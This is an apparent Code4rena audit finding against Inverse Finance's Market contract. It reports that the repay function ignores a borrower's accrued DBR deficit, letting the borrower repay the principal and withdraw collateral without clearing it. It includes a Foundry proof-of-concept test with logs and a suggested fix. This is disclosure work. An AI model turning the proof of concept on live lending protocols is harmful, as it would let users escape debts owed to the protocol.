User can Repay all his Debt and leave the protocol with his uncleared deficit

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Market.sol#L531

Vulnerability details

Impact

When a user wants to Repay his borrowed Dola, the protocol only checks if the Dola he wants to repay is less than or equal to his actual debt as per that particular Market. This means he can repay all his loan in one go and leave the protocol with his uncleared deficit.

Proof of Concept

A user repays his debt by calling the repay function.

This function does the following check:

uint debt = debts[user];
require(debt >= amount, "Insufficient debt");

Once the above condition is cleared, the relevant state variables are updated. After this, the onRepay function in DBR.sol is called which accrues the DBR tokens he owes to the protocol.

Once the user has successfully repaid his debt, he can withdraw all his collateral and leave the protocol with his uncleared debt.

Ideally, the protocol shouldn't allow the user to leave with his deficit uncleared.

A POC was created to show this:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./FiRMTest.sol";
import "../BorrowController.sol";
import "../DBR.sol";
import "../Fed.sol";
import {SimpleERC20Escrow} from "../escrows/SimpleERC20Escrow.sol";
import "../Market.sol";
import "../Oracle.sol";

import "./mocks/ERC20.sol";
import "./mocks/WETH9.sol";
import "./mocks/BorrowContract.sol";
import {EthFeed} from "./mocks/EthFeed.sol";

contract MarketTest is FiRMTest {
    bytes onlyGovUnpause = "Only governance can unpause";
    bytes onlyPauseGuardianOrGov = "Only pause guardian or governance can pause";

    BorrowContract borrowContract;

    function setUp() public {
        initialize(replenishmentPriceBps, collateralFactorBps, replenishmentIncentiveBps, liquidationBonusBps, callOnDepositCallback);

        vm.startPrank(chair);
        fed.expansion(IMarket(address(market)), 1_000_000e18);
        vm.stopPrank();

        borrowContract = new BorrowContract(address(market), payable(address(WETH)));
    }

    function testRepayElku() public {
        gibWeth(user, wethTestAmount);
        gibDBR(user, wethTestAmount);
        vm.startPrank(user);

	emit log("deposits 1 eth");
        deposit(wethTestAmount);  //deposits 1 eth
	emit log_named_decimal_uint("current CreditLimit",market.getCreditLimit(user),18);
	emit log_named_decimal_uint("current WithdrawalLimit",market.getWithdrawalLimit(user),18);

        emit log("Borrowed maximum of what he can borrow");
        uint borrowAmount = getMaxBorrowAmount(wethTestAmount);  //get how much user can borrow
	emit log_named_decimal_uint("MAX borrowAmount",borrowAmount,18);
        market.borrow(borrowAmount);   //borrow all he can borrow
        emit log_named_decimal_uint("current deficit",dbr.deficitOf(user),18);
	emit log_named_decimal_uint("current CreditLimit",market.getCreditLimit(user),18);
	emit log_named_decimal_uint("current WithdrawalLimit",market.getWithdrawalLimit(user),18);
        emit log_named_decimal_uint("user debt at Market",market.debts(user),18);
        emit log_named_decimal_uint("user debt as per DBR",dbr.debts(user),18);
        skip(10000 days);  
        emit log("skip 10000 days");
        emit log_named_decimal_uint("current deficit",dbr.deficitOf(user),18);
	emit log_named_decimal_uint("current CreditLimit",market.getCreditLimit(user),18);
	emit log_named_decimal_uint("current WithdrawalLimit",market.getWithdrawalLimit(user),18);
        emit log_named_decimal_uint("user debt at Market",market.debts(user),18);
        emit log_named_decimal_uint("user debt as per DBR",dbr.debts(user),18);

        uint currentDebt = market.debts(user);
        market.repay(user, currentDebt);
        emit log("User repaid all the debt");
        emit log_named_decimal_uint("current deficit",dbr.deficitOf(user),18);
	emit log_named_decimal_uint("current CreditLimit",market.getCreditLimit(user),18);
	emit log_named_decimal_uint("current WithdrawalLimit",market.getWithdrawalLimit(user),18);
        emit log_named_decimal_uint("user debt at Market",market.debts(user),18);
        emit log_named_decimal_uint("user debt as per DBR",dbr.debts(user),18);
    }
}

The Logs printed out were:

  deposits 1 eth
  current CreditLimit: 1360.000000000000000000
  current WithdrawalLimit: 1.000000000000000000
  Borrowed maximum of what he can borrow
  MAX borrowAmount: 1360.000000000000000000
  current deficit: 0.000000000000000000
  current CreditLimit: 1360.000000000000000000
  current WithdrawalLimit: 0.000000000000000000
  user debt at Market: 1360.000000000000000000
  user debt as per DBR: 1360.000000000000000000
  skip 10000 days
  current deficit: 37259.273972602739726027
  current CreditLimit: 1360.000000000000000000
  current WithdrawalLimit: 0.000000000000000000
  user debt at Market: 1360.000000000000000000
  user debt as per DBR: 1360.000000000000000000
  User repaid all the debt
  current deficit: 37259.273972602739726027
  current CreditLimit: 1360.000000000000000000
  current WithdrawalLimit: 1.000000000000000000
  user debt at Market: 0.000000000000000000
  user debt as per DBR: 0.000000000000000000

You can see that his deficit is around 37000, but his WithdrawalLimit, is still the original 1 eth which he deposited in the beginning.

Tools Used

VS code, Foundry

Recommended Mitigation Steps

Check the deficit of the user before proceeding with the repayment. Deficit should be zero for user to be able to repay his debt.

[c4-judge]

0xean marked the issue as duplicate

[Simon-Busch]

Issue marked as satisfactory as requested by 0xean

[c4-judge]

Simon-Busch marked the issue as duplicate of #583